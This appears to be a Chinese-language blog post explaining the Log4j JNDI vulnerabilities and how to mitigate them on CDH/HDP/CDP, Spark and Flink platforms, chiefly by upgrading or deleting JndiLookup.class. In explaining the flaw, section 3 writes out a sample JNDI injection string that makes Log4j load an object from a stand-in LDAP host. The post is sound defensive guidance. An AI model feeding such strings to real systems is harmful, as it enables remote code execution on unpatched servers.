大家好，我是明哥!

近期 LOG4J 圍繞JNDI的安全漏洞頻繁暴雷，著實讓小伙伴們忙活了一陣。

本文我們就一起來看下，CDH/HDP/CDP 等大數據平臺中如何快速應對 LOG4J 的 JNDI 系列漏洞。

• 1 LOG4J 概述
• 2 LOG4J JNDI 系列漏洞概述
• 3 深入了解 LOG4J 與 JNDI
• 4 應對 LOG4J JNDI 系列漏洞的思路
• 5 常見大數據組件如何應對 LOG4J JNDI 系列漏洞
• 6 CDH/HDP/CDP 等大數據平臺中如何快速應對LOG4J的 JNDI 系列漏洞

1 LOG4J 概述

Apache Log4j 是一款基于 Java 的開源日志框架，而 Apache Log4j2 在 Log4j 的基礎上，參考了另一款日志框架 logback，做了大量改進增加了很多豐富的特性。

在實現上，log4j2 做到了 api seperation， 包括 log4j-core 和 log4j-api, 其中前者是日志框架的具體實現(Logback是日志框架的另一款具體實現)，后者則是日志門面/日志抽象 logging facade(Simple Logging Facade for Java (slf4j)是另一款日志門面/日志抽象)。

在性能上，Log4j2 由于使用了 Asynchronous loggers，(應用代碼在調用 Logger.log 時，其實是將 I/O 操作的執行交給了另一個 IO 線程，并立即返回了應用線程)，在多線程環境下，可以做到 LOG4J1.X 和 logback 18倍的吞吐量，并有著更低的延遲。

在架構上，log4j2 采用了插件機制，所以用戶不需要額外編寫代碼，即可根據自己的情況配置自己的 Appender/Layout/Pattern Converter, log4j2 會自動識別配置文件并使用其中配置的插件。

正式由于以上諸多優點，log4j 成為了 JAVA 生態中應用最廣泛的日志框架。

2 LOG4J JNDI 系列漏洞概述

近期暴雷的 JNDI 系列漏洞，包括以下三個：

• CVE-2021-44228：12月9日，由阿里云發現并報告該漏洞，基于該漏洞，攻擊者可以構造惡意請求，觸發遠程代碼執行漏洞;Log4j 團隊在發現該問題后馬上發布了 2.15.0 版本，并給出了臨時解決方案;(危險等級：critical)
• CVE-2021-45046：12 月 14 日，由 Twitter 公司發現并報告該漏洞，該漏洞表示 2.15.0 中對 CVE-2021-44228 的修復以及給出的臨時解決方案并不完備，在某些配置條件下依然會被利用導致 DOS 攻擊;Log4j 團隊在發現該問題后，又發布了 2.16.0 版本，同時給出了新的臨時解決方案;(危險等級：critical)
• CVE-2021-45105：12 月 18號，發現并確認了該漏洞，該漏洞進一步表示 2.16.0 版本及 CVE-2021-45046 的臨時修復方案在某些配置條件下依然有被 DOS 攻擊的風險;隨后，Log4j 團隊馬上發布了 2.17.0 版本，并給出了新的臨時修復方案;(危險等級：moderate)

以上 JNDI 系列漏洞，LOG4J2 官方團隊已經修復，概括起來, 針對危險等級為 critical 的 CVE-2021-44228 和 CVE-2021-45046，解決方式如下：

• Log4j 1.x is not impacted by this vulnerability.
• log4j2: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
• log4j2: in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
• log4j2: Users are advised not to enable JNDI in Log4j 2.16.0, since it still allows LDAP connections.

3 深入了解 LOG4J 與 JNDI

以上 JNDI 系列漏洞，其根源都可以追溯到 Log4j 早年間引入的一個 Feature：LOG4J2-313：JNDI Lookup plugin support：2013 年，Log4j 在 2.0-beta9 版本中添加了 “JNDILookup plugin” 功能。

JNDI 其實是 Java 在 1990 年之后引入的一種目錄服務，是 J2EE 的重要組成部分，讓 Java 程序可以以 Java 對象的形式通過目錄查找數據。JNDI 提供了多種 SPI 支持不同的目錄服務，如 CORBA COS (公共對象服務)、Java RMI (遠程方法接口) Registry 和 LDAP (輕量級目錄訪問協議)。

根據 JNDI 官方幫助文檔描述 “如果您的 LDAP 服務器位于另一臺機器上或正在使用另一個端口，那么您需要編輯 LDAP URL”，LDAP 服務器可以在不同的機器上運行，也可以在 Internet 上的任何地方運行。這種靈活性意味著如果攻擊者能夠控制 LDAP URL，他們就能夠讓 Java 程序從他們控制的服務器加載對象。

在 Log4j 包含漏洞的版本中，攻擊者可以通過傳入類似 “${jndi:ldap://example.com/a}” 形式的字符串來控制 Log4j 訪問的 LDAP URL。在這種情況下，Log4j 將連接到 example.com 上的 LDAP 服務器并檢索對象。

更多關于 JNDI 的細節，我們這里不再贅述，有興趣的可以自己做下功課，不過以下要點，跟大家概括下：

• JNDI 是 J2EE 的重要組成部分，是上個世紀90年代陸續引入的，在 JBoss,WebLogic,WebSphere 等應用容器有大量應用;
• 在單體架構式微，而微服務架構日益流行的今天，大家普遍采用 Spring boot/spring cloud 技術棧，已經不怎么使用 JNDI 了;(特別是互聯網企業和中小企業，很多同學可能都沒怎么了解過 JNDI);
• LOG4J 通過 LOG4J2-313 引入的特性 “JNDI Lookup plugin support”，更多是迎合采用了單體架構，使用了 JBoss,WebLogic,WebSphere 等應用容器的大客戶大企業;
• 在微服務架構中使用LOG4J，絕大部分用戶都使用不到其 “JNDI Lookup plugin support” 功能;
• 在使用了 LOG4J 的大數據組件中，更是使用不到其“JNDI Lookup plugin support” 功能;

4 應對 LOG4J JNDI 系列漏洞的思路

從根本上講，應對LOG4J JNDI 系列漏洞的思路，正如其官方文檔所述，有以下幾種：

• Log4j 1.x：該系列版本不受影響，因為還沒有引入上述 LOG4J2-313：JNDI Lookup plugin support;
• log4j2: 正式的解決方案，是升級版本：分別是升級到 Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later);
• log4j2: 作為臨時解決方案，可以刪除類加載路徑上的危險類 JndiLookup.class: 除了 2.16.0 外的其它版本，都可以臨時采取這種方案;(本質是因為我們其實沒有使用到 LOG4J 的“JNDI Lookup plugin support” 功能);
• log4j2: 不啟用 JNDI 功能: 針對 2.16.0 版本，用戶也可以配置不啟用 JNDI 功能，從而避免建立 LDAP連接的潛在可能和風險;(2.16.0 提供了配置項，可以開啟或關閉 JNDI功能，所以不用刪除類加載路徑上的危險類 JndiLookup.class);

所以：

• 如果大家的應用代碼，直接依賴了LOG4J，就可以靈活 采取上述適合自己的方案，最推薦的當然是升級 LOG4J版本;
• 如果大家的應用代碼，是通過某個依賴組件間接引入了對 LOG4J的依賴，則可以采用臨時解決方案，即刪除類加載路徑上的危險類 JndiLookup.class;或者，等待該依賴組件官方發布了正式修復版本后，進行升級。

5 常見大數據組件如何應對 LOG4J JNDI 系列漏洞

• spark: spark 的最新版本是3.2.0，目前其依賴的還是log4j1.2.17，即log4j1.x系列，所以不受上述漏洞影響;
• flink:flink 各版本使用的 log4j 的版本如下，可以看到，flink1.11 及以后版本受到上述漏洞影響;

• 所以針對 flink 組件，正式的修復方案是升級flink，目前 flink 社區已經發布了針對 1.11/1.12/1.13/1.14 系列的修復版本，大家可以根據自己的情況，升級到同系列下最新版本即可修復該問題：



• 得益于 flink 社區快速即使的響應和修復，大家不需要采用各種臨時修復方案了(主要思路是刪除 log4j-core 里的 JndiLooup.class 刪除，以達到禁用 JNDI 的效果)

6 CDH/HDP/CDP 等大數據平臺中如何快速應對LOG4J的 JNDI 系列漏洞

由于 CDH/HDP/CDP 等大數據平臺中，背后的大數據組件眾多，并不是每一個組件背后的社區都能快速響應，修復上述 LOG4J JNDI 系列漏洞并提供正式的修復版本，所以 CDH/HDP/CDP 等大數據平臺中，快速應對LOG4J的JNDI系列漏洞，采用的思路，就是使用上述臨時解決方案，即刪除類加載路徑上的危險類 JndiLookup.class(本質是因為，這些大數據組件底層，都沒有使用到 LOG4J 的“JNDI Lookup plugin support” 功能)。

同時，為進一步簡化臨時解決方案的實施難度，Cloudera 在 GitHub 上提供了系列腳本，來輔助刪除 CDH/HDP/CDP 等大數據平臺上的危險類 JndiLookup.class。

其它大數據平臺，如TDH等，其思路類似，大家可以參考上述腳本，有針對性地修改獲得。

大家可以去 GITHUB 自行下載上述腳本，GITHUB 下載鏈接如下：https://github.com/cloudera/cloudera-scripts-for-log4j.git